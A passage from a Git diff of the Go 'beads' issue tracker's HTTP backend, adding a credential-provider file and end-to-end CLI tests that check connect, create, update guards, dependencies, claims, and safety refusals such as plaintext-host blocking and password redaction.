%q, want the caller-supplied %q to win over the inferred %q", got.PreviousBackend, "mysql", "dolt") + } +} + +// TestAttachGitignoresBothPerUserFiles pins Attach's .gitignore guarantee for +// both files this backend keeps per user in beadsDir: the sidecar Attach +// writes, and the local metadata file the store writes later, on first use. +// `bd connect` also covers the second through doctor's required patterns, +// but an embedder activating through Attach alone has only this. A reconnect +// must not duplicate either line. +func TestAttachGitignoresBothPerUserFiles(t *testing.T) { + beadsDir := t.TempDir() + for _, raw := range []string{"http://127.0.0.1:8080", "http://127.0.0.1:9090"} { + if err := bdhttp.Attach(beadsDir, bdhttp.Target{BaseURL: mustAttachTestURL(t, raw)}); err != nil { + t.Fatalf("Attach(%s): %v", raw, err) + } + } + content, err := os.ReadFile(filepath.Join(beadsDir, ".gitignore")) + if err != nil { + t.Fatalf("read .gitignore after Attach: %v", err) + } + for _, name := range []string{httpclient.TargetFileName, httpclient.LocalMetadataFileName} { + count := 0 + for _, line := range strings.Split(string(content), "\n") { + if strings.TrimSpace(line) == name { + count++ + } + } + if count != 1 { + t.Errorf(".gitignore names %s %d time(s) after two Attaches, want exactly 1:\n%s", name, count, content) + } + } +} diff --git a/backend/http/credential.go b/backend/http/credential.go new file mode 100644 index 000000000..5152319f3 --- /dev/null +++ b/backend/http/credential.go @@ -0,0 +1,57 @@ +package bdhttp + +import ( + "net/url" + + "github.com/steveyegge/beads/internal/httpclient" +) + +// CredentialProvider authorizes outbound requests to a bd serve. +// +// An implementation must be safe for concurrent use, must never log or +// persist a secret, and must FAIL CLOSED: a configured source that errors +// aborts the request rather than silently downgrading to an unauthenticated +// one. +type CredentialProvider = httpclient.CredentialProvider + +const ( + // TokenEnv carries the bearer token itself, the highest rung of the + // built-in ladder. + // #nosec G101 -- the NAME of an environment variable, not a credential. + TokenEnv = httpclient.TokenEnv + // TokenCommandEnv names a helper that prints a token, either bare or in + // the kubectl ExecCredential envelope {"token","expirationTimestamp"}. + // #nosec G101 -- the NAME of an environment variable, not a credential. + TokenCommandEnv = httpclient.TokenCommandEnv +) + +// BearerProvider is the built-in credential ladder: TokenEnv, then +// TokenCommandEnv, then the credentials file's [host:port] section, then no +// credential at all (the tip OSS server's loopback-trust posture, a +// legitimate answer and not a failure). +type BearerProvider = httpclient.BearerProvider + +// NewBearerProvider builds the built-in ladder for a server. Open and +// Handshake already dial with it; it is exported so an embedder that wants to +// WRAP the default (decorate it for one target, delegate to it for the rest) +// does not have to reimplement it. +func NewBearerProvider(base *url.URL) *BearerProvider { + return httpclient.NewBearerProvider(base) +} + +// ProvidedCredential adapts a CredentialProvider into the opaque +// backends.Credential marker interface, so it can be carried through +// beads.OpenOptions / beads.OpenBestAvailableWith (and, directly, through +// backends.OpenOptions) to the registered "http" backend's OpenWith hook +// Register installs. +// +// A multi-tenant embedder (for example gc, Gas City: one process serving many +// workspaces, called "cities") that wants a distinct credential per workspace +// wraps that workspace's own provider in a ProvidedCredential rather than +// calling Open directly: the registered dialer Register installs is +// process-wide and cannot hold one credential per tenant, but the per-open +// OpenWith seam can, and this is the opaque wrapper type that seam +// recognizes. See httpclient.ResolveCredential and +// backends.OpenOptions.Credential's own doc comment for the single-tenant +// ambient-ladder default this exists to opt out of. +type ProvidedCredential = httpclient.ProvidedCredential diff --git a/backend/http/e2e_cli_test.go b/backend/http/e2e_cli_test.go new file mode 100644 index 000000000..096926365 --- /dev/null +++ b/backend/http/e2e_cli_test.go @@ -0,0 +1,1059 @@ +//go:build cgo + +// Written fresh for OSS beads S6 (no bd-enterprise source copied). The +// in-process server wiring mirrors internal/httpclient/served_harness_test.go +// (itself under provenance there), reused here as a black-box harness: this +// file never imports the wire client, it shells out to a real `bd` binary so +// the CLI dispatch (cmd/bd/http_backend.go's Register call, `bd connect`, +// `bd update --if-revision`'s exit code contract) is what gets exercised, not +// the internal client package. +package bdhttp_test + +import ( + "context" + "encoding/json" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// e2eProjectID is the identity the in-process server publishes; `bd connect` +// reads it back off the handshake and pins the workspace to it. +const e2eProjectID = "proj-e2e-s6" + +const e2eDatabase = "httpe2e" + +// TestE2E_BDOverHTTP drives the real `bd` binary against an in-process `bd +// serve`, end to end: connect, create, an update guarded by --if-revision +// (both the matching case and the stale case, which must exit 13 with the +// precondition_failed body), close, dep add, ready, count, list (JSON, text +// and --deps), an external dependency through dep tree, ready, list --ready, +// ready --claim, a refused close --claim-next and a refused then forced close, +// a claim after that close, and delete. +func TestE2E_BDOverHTTP(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + + addr := startE2EServer(t) + workspace := t.TempDir() + + connect := runBD(t, bin, workspace, nil, + "connect", "http://"+addr, "--expect-project-id", e2eProjectID, "--json") + if connect.code != 0 { + t.Fatalf("bd connect failed (exit %d): stdout=%s stderr=%s", connect.code, connect.stdout, connect.stderr) + } + if _, err := os.Stat(filepath.Join(workspace, ".beads", "http_target.json")); err != nil { + t.Fatalf("bd connect did not write the activation sidecar: %v", err) + } + gitignore, err := os.ReadFile(filepath.Join(workspace, ".beads", ".gitignore")) + if err != nil { + t.Fatalf("bd connect did not ensure a .beads/.gitignore: %v", err) + } + if !strings.Contains(string(gitignore), "http_target.json") { + t.Errorf(".beads/.gitignore does not cover http_target.json: %s", gitignore) + } + + // create, under a named actor: bd stamps CreatedBy with the same actor it + // sends, which the http create role accepts and the server records. + const creator = "e2e-creator" + asCreator := []string{"BEADS_ACTOR=" + creator} + create := runBD(t, bin, workspace, asCreator, "create", "A title", "-d", "a description", "--json") + if create.code != 0 { + t.Fatalf("bd create failed (exit %d): stdout=%s stderr=%s", create.code, create.stdout, create.stderr) + } + id := firstJSONField(t, create.stdout, "id") + if id == "" { + t.Fatalf("bd create --json produced no id: %s", create.stdout) + } + + // read back the revision bd show reports, so the update guard below + // names a token the row actually carries. + show := runBD(t, bin, workspace, nil, "show", id, "--json") + if show.code != 0 { + t.Fatalf("bd show failed (exit %d): stderr=%s", show.code, show.stderr) + } + revision := firstJSONField(t, show.stdout, "revision") + if revision == "" { + t.Fatalf("bd show --json reported no revision: %s", show.stdout) + } + if got := firstJSONField(t, show.stdout, "created_by"); got != creator { + t.Errorf("created_by = %q after an http create, want the creating actor %q: %s", got, creator, show.stdout) + } + + // The same create routed from this http workspace into a local one + // (--repo) is written by the local store, which records whatever stamp + // the command built: it must still be the actor, since nothing about the + // workspace a command runs in changes who created the issue. + local := t.TempDir() + routed := runBD(t, bin, workspace, asCreator, "create", "Routed", "--repo", local, "--json") + if routed.code != 0 { + t.Fatalf("bd create --repo %s failed (exit %d): stdout=%s stderr=%s", local, routed.code, routed.stdout, routed.stderr) + } + routedID := firstJSONField(t, routed.stdout, "id") + if routedID == "" { + t.Fatalf("bd create --repo --json produced no id: %s", routed.stdout) + } + routedShow := runBD(t, bin, local, nil, "show", routedID, "--json") + if routedShow.code != 0 { + t.Fatalf("bd show %s in the routed-to workspace failed (exit %d): stderr=%s", routedID, routedShow.code, routedShow.stderr) + } + if got := firstJSONField(t, routedShow.stdout, "created_by"); got != creator { + t.Errorf("created_by = %q on a create routed from an http workspace, want the creating actor %q: %s", got, creator, routedShow.stdout) + } + + // update with a MATCHING --if-revision guard: must succeed. + okUpdate := runBD(t, bin, workspace, nil, "update", id, "-a", "alice", "--if-revision", revision, "--json") + if okUpdate.code != 0 { + t.Fatalf("bd update --if-revision %s (matching) failed (exit %d): stdout=%s stderr=%s", + revision, okUpdate.code, okUpdate.stdout, okUpdate.stderr) + } + + // update again with the SAME (now stale) token: must refuse with exit 13 + // and the precondition_failed machine body on the last stderr line. + staleUpdate := runBD(t, bin, workspace, nil, "update", id, "-a", "bob", "--if-revision", revision, "--json") + if staleUpdate.code != 13 { + t.Fatalf("bd update --if-revision %s (stale) exit = %d, want 13 (ExitGuardMismatch): stdout=%s stderr=%s", + revision, staleUpdate.code, staleUpdate.stdout, staleUpdate.stderr) + } + body := lastJSONLine(t, staleUpdate.stderr) + if body["code"] != "precondition_failed" { + t.Errorf("stale --if-revision body code = %v, want \"precondition_failed\": %s", body["code"], staleUpdate.stderr) + } + if body["id"] != id { + t.Errorf("stale --if-revision body id = %v, want %q: %s", body["id"], id, staleUpdate.stderr) + } + + // dep add + a second issue to depend on, then ready/count/close/delete. + // id depends on (is blocked by) depID (dep.go's own doc: "bd dep add + // issue-123 issue-456" means issue-123 depends on issue-456), so depID + // is the one issue the ready set must show and id is the one it must not. + dep := runBD(t, bin, workspace, nil, "create", "A dependency", "--json") + if dep.code != 0 { + t.Fatalf("bd create (dependency) failed (exit %d): stderr=%s", dep.code, dep.stderr) + } + depID := firstJSONField(t, dep.stdout, "id") + + if r := runBD(t, bin, workspace, nil, "dep", "add", id, depID, "--json"); r.code != 0 { + t.Fatalf("bd dep add failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + + ready := runBD(t, bin, workspace, nil, "ready", "--json") + if ready.code != 0 { + t.Fatalf("bd ready failed (exit %d): stdout=%s stderr=%s", ready.code, ready.stdout, ready.stderr) + } + readyIDs := jsonIDSet(t, ready.stdout) + if !readyIDs[depID] { + t.Errorf("bd ready did not list %s (no deps of its own, open): %s", depID, ready.stdout) + } + if readyIDs[id] { + t.Errorf("bd ready listed %s, which depends on the still-open %s: %s", id, depID, ready.stdout) + } + + count := runBD(t, bin, workspace, nil, "count", "--json") + if count.code != 0 { + t.Fatalf("bd count failed (exit %d): stdout=%s stderr=%s", count.code, count.stdout, count.stderr) + } + if n := jsonIntField(t, count.stdout, "count"); n != 2 { + t.Errorf("bd count = %d, want 2 (id and depID, the only issues this workspace has): %s", n, count.stdout) + } + + // The http backend serves listing, trees, claims and closes only as roles, + // and refuses the legacy store methods the external-dependency decorator + // once rebuilt those roles over, so each command below exited 1 here, even + // with nothing externally blocked. + list := runBD(t, bin, workspace, nil, "list", "--json") + if list.code != 0 { + t.Fatalf("bd list --json failed (exit %d): stdout=%s stderr=%s", list.code, list.stdout, list.stderr) + } + if listIDs := jsonIDSet(t, list.stdout); !listIDs[id] || !listIDs[depID] { + t.Errorf("bd list --json did not list both %s and %s: %s", id, depID, list.stdout) + } + textList := runBD(t, bin, workspace, nil, "list") + if textList.code != 0 || !strings.Contains(textList.stdout, id) || !strings.Contains(textList.stdout, depID) { + t.Errorf("bd list (exit %d) did not list both %s and %s: stdout=%s stderr=%s", textList.code, id, depID, textList.stdout, textList.stderr) + } + // --deps turns a failed whole-workspace edge scan behind that tree (the + // divergence ledger's L8) from a silent omission into an error. + depsList := runBD(t, bin, workspace, nil, "list", "--deps") + if depsList.code != 0 || !strings.Contains(depsList.stdout, id) || !strings.Contains(depsList.stdout, depID) { + t.Errorf("bd list --deps (exit %d) did not list both %s and %s: stdout=%s stderr=%s", depsList.code, id, depID, depsList.stdout, depsList.stderr) + } + + // An external dependency on a project this workspace has not configured + // stays unsatisfied, so extID is blocked for as long as it is open. At + // priority 0 it sorts ahead of depID, where a claim blind to that would + // take it. + const externalRef = "external:otherproj:cap" + ext := runBD(t, bin, workspace, nil, "create", "Externally blocked", "-p", "0", "--json") + if ext.code != 0 { + t.Fatalf("bd create (externally blocked) failed (exit %d): stderr=%s", ext.code, ext.stderr) + } + extID := firstJSONField(t, ext.stdout, "id") + if r := runBD(t, bin, workspace, nil, "dep", "add", extID, externalRef, "--json"); r.code != 0 { + t.Fatalf("bd dep add %s %s failed (exit %d): stdout=%s stderr=%s", extID, externalRef, r.code, r.stdout, r.stderr) + } + tree := runBD(t, bin, workspace, nil, "dep", "tree", extID, "--json") + if tree.code != 0 { + t.Fatalf("bd dep tree %s failed (exit %d): stdout=%s stderr=%s", extID, tree.code, tree.stdout, tree.stderr) + } + if !jsonIDSet(t, tree.stdout)[externalRef] { + t.Errorf("bd dep tree %s did not show its %s leaf: %s", extID, externalRef, tree.stdout) + } + for _, args := range [][]string{{"ready", "--json"}, {"list", "--ready", "--json"}} { + r := runBD(t, bin, workspace, nil, args...) + if r.code != 0 { + t.Fatalf("bd %s failed (exit %d): stdout=%s stderr=%s", strings.Join(args, " "), r.code, r.stdout, r.stderr) + } + if readyIDs := jsonIDSet(t, r.stdout); !readyIDs[depID] || readyIDs[extID] || readyIDs[id] { + t.Errorf("bd %s = %s, want %s and neither %s nor %s", strings.Join(args, " "), r.stdout, depID, extID, id) + } + } + claim := runBD(t, bin, workspace, nil, "ready", "--claim", "--json") + if claim.code != 0 { + t.Fatalf("bd ready --claim failed (exit %d): stdout=%s stderr=%s", claim.code, claim.stdout, claim.stderr) + } + if got := firstJSONField(t, claim.stdout, "id"); got != depID { + t.Errorf("bd ready --claim claimed %q, want %s (%s is externally blocked): %s", got, depID, extID, claim.stdout) + } + // --claim-next refuses whole over http, before anything closes, and names + // the commands that do the same work. It is asked again once extID is + // closed, because a closed holder of an external ref changes nothing. + refuseClaimNext := func(when string) { + t.Helper() + r := runBD(t, bin, workspace, nil, "close", depID, "--claim-next") + if r.code == 0 || !strings.Contains(r.stderr, "nothing was closed") || !strings.Contains(r.stderr, "bd ready --claim") { + t.Errorf("bd close %s --claim-next %s (exit %d) did not refuse with the bd ready --claim hint: stdout=%s stderr=%s", depID, when, r.code, r.stdout, r.stderr) + } + show := runBD(t, bin, workspace, nil, "show", depID, "--json") + if status := firstJSONField(t, show.stdout, "status"); show.code != 0 || status == "closed" { + t.Errorf("bd show %s (exit %d) status = %q after a refused bd close --claim-next %s, want it not closed: stderr=%s", depID, show.code, status, when, show.stderr) + } + } + refuseClaimNext("while " + extID + " is open") + refused := runBD(t, bin, workspace, nil, "close", extID) + if refused.code == 0 || !strings.Contains(refused.stderr, externalRef) || !strings.Contains(refused.stderr, "use --force") { + t.Errorf("bd close %s (exit %d) did not refuse it as blocked by %s: stdout=%s stderr=%s", extID, refused.code, externalRef, refused.stdout, refused.stderr) + } + if r := runBD(t, bin, workspace, nil, "close", extID, "--force", "--json"); r.code != 0 { + t.Fatalf("bd close %s --force failed (exit %d): stdout=%s stderr=%s", extID, r.code, r.stdout, r.stderr) + } + forcedShow := runBD(t, bin, workspace, nil, "show", extID, "--json") + if status := firstJSONField(t, forcedShow.stdout, "status"); forcedShow.code != 0 || status != "closed" { + t.Errorf("bd show %s (exit %d) status = %q after bd close --force, want %q: stderr=%s", extID, forcedShow.code, status, "closed", forcedShow.stderr) + } + refuseClaimNext("after " + extID + " was closed") + + // The closed extID still holds an unsatisfied external ref, so the claim + // stays on the decorator's composed leg (ledger row L14). It must still + // take what the served claim would: the one open, unassigned issue, since + // depID is claimed and id is assigned. + next := runBD(t, bin, workspace, nil, "create", "Claimable after the holder closed", "--json") + if next.code != 0 { + t.Fatalf("bd create (claimable) failed (exit %d): stdout=%s stderr=%s", next.code, next.stdout, next.stderr) + } + nextID := firstJSONField(t, next.stdout, "id") + reclaim := runBD(t, bin, workspace, nil, "ready", "--claim", "--json") + if reclaim.code != 0 { + t.Fatalf("bd ready --claim after %s was closed failed (exit %d): stdout=%s stderr=%s", extID, reclaim.code, reclaim.stdout, reclaim.stderr) + } + if got := firstJSONField(t, reclaim.stdout, "id"); got != nextID { + t.Errorf("bd ready --claim after %s was closed claimed %q, want %s: %s", extID, got, nextID, reclaim.stdout) + } + + if r := runBD(t, bin, workspace, nil, "close", depID, "--json"); r.code != 0 { + t.Fatalf("bd close failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + closedShow := runBD(t, bin, workspace, nil, "show", depID, "--json") + if closedShow.code != 0 { + t.Fatalf("bd show %s (after close) failed (exit %d): stderr=%s", depID, closedShow.code, closedShow.stderr) + } + if status := firstJSONField(t, closedShow.stdout, "status"); status != "closed" { + t.Errorf("bd show %s status = %q after bd close, want %q: %s", depID, status, "closed", closedShow.stdout) + } + + if r := runBD(t, bin, workspace, nil, "delete", id, "--force", "--json"); r.code != 0 { + t.Fatalf("bd delete failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + deletedShow := runBD(t, bin, workspace, nil, "show", id, "--json") + if deletedShow.code == 0 { + t.Errorf("bd show %s succeeded (exit 0) after bd delete --force; want a not-found refusal: stdout=%s", id, deletedShow.stdout) + } +} + +// TestE2E_ConnectRefusesPlainHTTPToNonLoopback kills the mutation that +// disables connect.go's plaintext-host refusal (`&& !connectAllowPlaintext` +// widened to `&& !connectAllowPlaintext && false`). A bearer credential this +// workspace would send to a non-loopback http:// server travels the network +// unencrypted, so connect must refuse before ever dialing — which this test +// also verifies directly: 198.51.100.1 is RFC 5737 TEST-NET-2, reserved for +// documentation and globally unroutable, so even a mutated build that skipped +// the refusal could not reach a real server here, keeping this test on the +// loopback-only network the rest of this suite requires. +func TestE2E_ConnectRefusesPlainHTTPToNonLoopback(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + workspace := t.TempDir() + + const nonLoopbackURL = "http://198.51.100.1:1/" + refused := runBD(t, bin, workspace, nil, "connect", nonLoopbackURL, "--json") + if refused.code == 0 { + t.Fatalf("bd connect %s succeeded; want a refusal (not loopback, plain http, no --allow-plaintext): stdout=%s", nonLoopbackURL, refused.stdout) + } + if !strings.Contains(refused.stderr, "not loopback") { + t.Errorf("bd connect %s stderr does not name the loopback refusal; want the host-safety gate, not some other failure: exit=%d stdout=%s stderr=%s", + nonLoopbackURL, refused.code, refused.stdout, refused.stderr) + } + if _, err := os.Stat(filepath.Join(workspace, ".beads", "http_target.json")); err == nil { + t.Error("bd connect wrote the activation sidecar despite refusing the connection") + } +} + +// TestE2E_ConnectRefusesSwitchingBackendWithoutForce kills the mutation that +// disables connect.go's backend-switch force gate (`&& !connectForce` +// widened to `&& !connectForce && false`). A workspace that already selects +// a different backend must refuse to switch to http without --force; with +// --force it must proceed PAST that gate, so the test tells the two +// refusals apart by what they say, not just that they both fail: a port +// nothing listens on (still loopback, so it clears the plaintext-host gate +// above) turns "the force gate let this through" into its own distinct +// dial failure rather than a false pass. +func TestE2E_ConnectRefusesSwitchingBackendWithoutForce(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt"}`), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + + const target = "http://127.0.0.1:1/" + + withoutForce := runBD(t, bin, workspace, nil, "connect", target, "--json") + if withoutForce.code == 0 { + t.Fatalf("bd connect %s without --force succeeded; workspace already selects backend %q", target, "dolt") + } + if !strings.Contains(withoutForce.stderr, "--force") { + t.Errorf("bd connect without --force did not mention --force in its refusal; want the backend-switch gate, not some other failure: exit=%d stdout=%s stderr=%s", + withoutForce.code, withoutForce.stdout, withoutForce.stderr) + } + + withForce := runBD(t, bin, workspace, nil, "connect", target, "--force", "--json") + if withForce.code == 0 { + t.Fatalf("bd connect %s --force succeeded against a port nothing listens on", target) + } + if strings.Contains(withForce.stderr, "--force") { + t.Errorf("bd connect --force still hit the force-gate refusal; the gate was not bypassed: stderr=%s", withForce.stderr) + } + + data, err := os.ReadFile(filepath.Join(beadsDir, "metadata.json")) + if err != nil { + t.Fatalf("read metadata.json: %v", err) + } + if !strings.Contains(string(data), `"dolt"`) { + t.Errorf("metadata.json no longer names backend dolt after the refused connect attempt: %s", data) + } +} + +// TestE2E_ConnectRedactsCredentialsEverywhereItPrintsTheURL is MED-3's +// regression test: a URL pasted with a userinfo password must never have +// that password echoed back by connect, in any output stream, on any path — +// success or failure. The target here fails at the handshake dial (loopback, +// nothing listening on port 1), which is exactly the path that used to wrap +// the raw argument into "connecting to %s: %v". +func TestE2E_ConnectRedactsCredentialsEverywhereItPrintsTheURL(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + workspace := t.TempDir() + + const password = "s3cr3t-password-998" //nolint — a fixture value, not a real credential. + target := "http://alice:" + password + "@127.0.0.1:1/" + + r := runBD(t, bin, workspace, nil, "connect", target, "--json") + if r.code == 0 { + t.Fatalf("bd connect %s succeeded against a port nothing listens on", target) + } + if strings.Contains(r.stdout, password) || strings.Contains(r.stderr, password) { + t.Errorf("bd connect's output carries the literal userinfo password %q: stdout=%s stderr=%s", password, r.stdout, r.stderr) + } +} + +// TestE2E_ReconnectRefusesADifferentProjectUnlessForced is MED-5's test: a +// bare re-connect (no --expect-project-id, no --force) against a server that +// answers with a DIFFERENT project id than the one the workspace's sidecar +// already pinned must refuse, not silently re-pin — connect.go used to build +// the new Target from --expect-project-id alone, so a plain `bd connect +// ` with nothing on the command line would adopt whatever the +// new server said with no refusal at all. --force must still get past it. +func TestE2E_ReconnectRefusesADifferentProjectUnlessForced(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + + firstAddr := startE2EServer(t) // publishes e2eProjectID + secondAddr := startE2EServerWithIdentity(t, "proj-e2e-s6-OTHER", "httpe2e_other") + workspace := t.TempDir() + + first := runBD(t, bin, workspace, nil, "connect", "http://"+firstAddr, "--json") + if first.code != 0 { + t.Fatalf("first bd connect failed (exit %d): stdout=%s stderr=%s", first.code, first.stdout, first.stderr) + } + pinned, err := os.ReadFile(filepath.Join(workspace, ".beads", "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after first connect: %v", err) + } + if !strings.Contains(string(pinned), e2eProjectID) { + t.Fatalf("sidecar after first connect does not carry %q: %s", e2eProjectID, pinned) + } + + // A bare re-connect to the DIFFERENT server, no --expect-project-id, no + // --force: must refuse, carrying the prior pin forward rather than + // adopting the new server's answer. + again := runBD(t, bin, workspace, nil, "connect", "http://"+secondAddr, "--json") + if again.code == 0 { + t.Fatalf("bare re-connect to a different project's server succeeded; want a refusal: stdout=%s", again.stdout) + } + if !strings.Contains(again.stderr, e2eProjectID) { + t.Errorf("re-connect refusal does not name the prior pin %q: stderr=%s", e2eProjectID, again.stderr) + } + stillPinned, err := os.ReadFile(filepath.Join(workspace, ".beads", "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after refused re-connect: %v", err) + } + if string(stillPinned) != string(pinned) { + t.Errorf("sidecar changed after a REFUSED re-connect: before=%s after=%s", pinned, stillPinned) + } + + // --force gets past it and re-pins to the new server's project. + forced := runBD(t, bin, workspace, nil, "connect", "http://"+secondAddr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force to the other project failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + refetched, err := os.ReadFile(filepath.Join(workspace, ".beads", "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after forced re-connect: %v", err) + } + if !strings.Contains(string(refetched), "proj-e2e-s6-OTHER") { + t.Errorf("sidecar after --force re-connect does not carry the new project id: %s", refetched) + } +} + +// TestE2E_SwitchingBackToDoltLeavesOriginalIdentityIntact is MED-6's test: +// `bd connect --force` on a workspace that already selects dolt must not +// rewrite that workspace's git-tracked metadata.json project_id/database — +// the http identity belongs in the gitignored sidecar alone. This proves it +// by round-tripping: a dolt workspace with its own original project_id and +// database connects to http, and metadata.json's original dolt fields must +// still read back unchanged afterward — exactly what "switching back to +// dolt" would see, since nothing ever touched them to switch back FROM. +func TestE2E_SwitchingBackToDoltLeavesOriginalIdentityIntact(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) // publishes e2eProjectID, unrelated to the dolt identity below. + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + const ( + originalProjectID = "dolt-original-project" + originalDatabase = "dolt-original-db" + ) + metadataPath := filepath.Join(beadsDir, "metadata.json") + original := fmt.Sprintf(`{"backend":"dolt","database":%q,"project_id":%q}`, originalDatabase, originalProjectID) + if err := os.WriteFile(metadataPath, []byte(original), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + + forced := runBD(t, bin, workspace, nil, "connect", "http://"+addr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + + data, err := os.ReadFile(metadataPath) + if err != nil { + t.Fatalf("read metadata.json after connect: %v", err) + } + var after struct { + Backend string `json:"backend"` + Database string `json:"database"` + ProjectID string `json:"project_id"` + } + if err := json.Unmarshal(data, &after); err != nil { + t.Fatalf("parse metadata.json after connect: %v\n%s", err, data) + } + if after.Backend != "http" { + t.Errorf("metadata.json backend = %q after connect, want %q: %s", after.Backend, "http", data) + } + // The MED-6 assertion: connect must NOT have overwritten these with the + // http server's own database/project_id (e2eDatabase/e2eProjectID) — a + // future switch back to dolt reads these same, untouched fields. + if after.Database != originalDatabase { + t.Errorf("metadata.json database = %q after bd connect --force, want the original %q untouched (MED-6: connect must not rewrite it): %s", + after.Database, originalDatabase, data) + } + if after.ProjectID != originalProjectID { + t.Errorf("metadata.json project_id = %q after bd connect --force, want the original %q untouched (MED-6: connect must not rewrite it): %s", + after.ProjectID, originalProjectID, data) + } + + // The http identity itself lives in the sidecar, not metadata.json. + sidecar, err := os.ReadFile(filepath.Join(beadsDir, "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after connect: %v", err) + } + if !strings.Contains(string(sidecar), e2eProjectID) { + t.Errorf("sidecar does not carry the http server's project id %q: %s", e2eProjectID, sidecar) + } +} + +// TestE2E_ConnectClearRestoresThePreviousBackend pins `bd connect --clear` +// (bee-ghosttrack CHANGES_REQUESTED on #7288, should-fix 1): a dolt workspace +// forced onto http and then cleared must select dolt again, with the sidecar +// gone and metadata.json's own dolt identity untouched. A second --clear finds +// nothing to clear and leaves metadata.json alone. +func TestE2E_ConnectClearRestoresThePreviousBackend(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + const ( + originalProjectID = "dolt-original-project-for-clear" + originalDatabase = "dolt-original-db-for-clear" + ) + metadataPath := filepath.Join(beadsDir, "metadata.json") + original := fmt.Sprintf(`{"backend":"dolt","database":%q,"project_id":%q}`, originalDatabase, originalProjectID) + if err := os.WriteFile(metadataPath, []byte(original), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + sidecarPath := filepath.Join(beadsDir, "http_target.json") + + forced := runBD(t, bin, workspace, nil, "connect", "http://"+addr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + if _, err := os.Stat(sidecarPath); err != nil { + t.Fatalf("bd connect --force did not write the sidecar: %v", err) + } + + type clearResult struct { + Cleared bool `json:"cleared"` + RestoredBackend string `json:"restored_backend"` + } + type identity struct { + Backend string `json:"backend"` + Database string `json:"database"` + ProjectID string `json:"project_id"` + } + readMetadata := func() identity { + t.Helper() + data, err := os.ReadFile(metadataPath) + if err != nil { + t.Fatalf("read metadata.json: %v", err) + } + var got identity + if err := json.Unmarshal(data, &got); err != nil { + t.Fatalf("parse metadata.json: %v\n%s", err, data) + } + return got + } + want := identity{Backend: "dolt", Database: originalDatabase, ProjectID: originalProjectID} + + cleared := runBD(t, bin, workspace, nil, "connect", "--clear", "--json") + if cleared.code != 0 { + t.Fatalf("bd connect --clear failed (exit %d): stdout=%s stderr=%s", cleared.code, cleared.stdout, cleared.stderr) + } + var first clearResult + if err := json.Unmarshal([]byte(cleared.stdout), &first); err != nil { + t.Fatalf("parse bd connect --clear --json: %v\n%s", err, cleared.stdout) + } + if !first.Cleared || first.RestoredBackend != "dolt" { + t.Errorf("bd connect --clear = %+v, want cleared and dolt restored: %s", first, cleared.stdout) + } + if _, err := os.Stat(sidecarPath); !os.IsNotExist(err) { + t.Errorf("sidecar still present after bd connect --clear (stat err %v)", err) + } + if got := readMetadata(); got != want { + t.Errorf("metadata.json after bd connect --clear = %+v, want %+v", got, want) + } + + again := runBD(t, bin, workspace, nil, "connect", "--clear", "--json") + if again.code != 0 { + t.Fatalf("second bd connect --clear failed (exit %d): stdout=%s stderr=%s", again.code, again.stdout, again.stderr) + } + var second clearResult + if err := json.Unmarshal([]byte(again.stdout), &second); err != nil { + t.Fatalf("parse second bd connect --clear --json: %v\n%s", err, again.stdout) + } + if second != (clearResult{}) { + t.Errorf("second bd connect --clear = %+v, want nothing cleared or restored: %s", second, again.stdout) + } + if got := readMetadata(); got != want { + t.Errorf("metadata.json after a second bd connect --clear = %+v, want %+v", got, want) + } +} + +// TestE2E_ForceConnectWritesSucceedDespiteDifferingLocalProjectID pins the +// bee-ghosttrack CHANGES_REQUESTED finding on #7288: after `bd connect +// --force` over a workspace that already had a LOCAL (dolt) identity, every +// write used to fail with "workspace identity mismatch detected". That +// check compared metadata.json's project_id (the original dolt workspace's +// identity, left untouched by connect per MED-6 — see +// TestE2E_SwitchingBackToDoltLeavesOriginalIdentityIntact above) against the +// live server's _project_id, and those two are legitimately different +// projects; the check needs the http backend's OWN pin (the sidecar's +// ExpectProjectID, set by this same connect) instead. +// +// This reuses that test's exact setup — a workspace with its own original +// dolt project_id, forced onto an unrelated server's project — but goes +// further: it actually writes (create, update, comments add) over the new +// http connection, which is what the finding says used to fail outright. +func 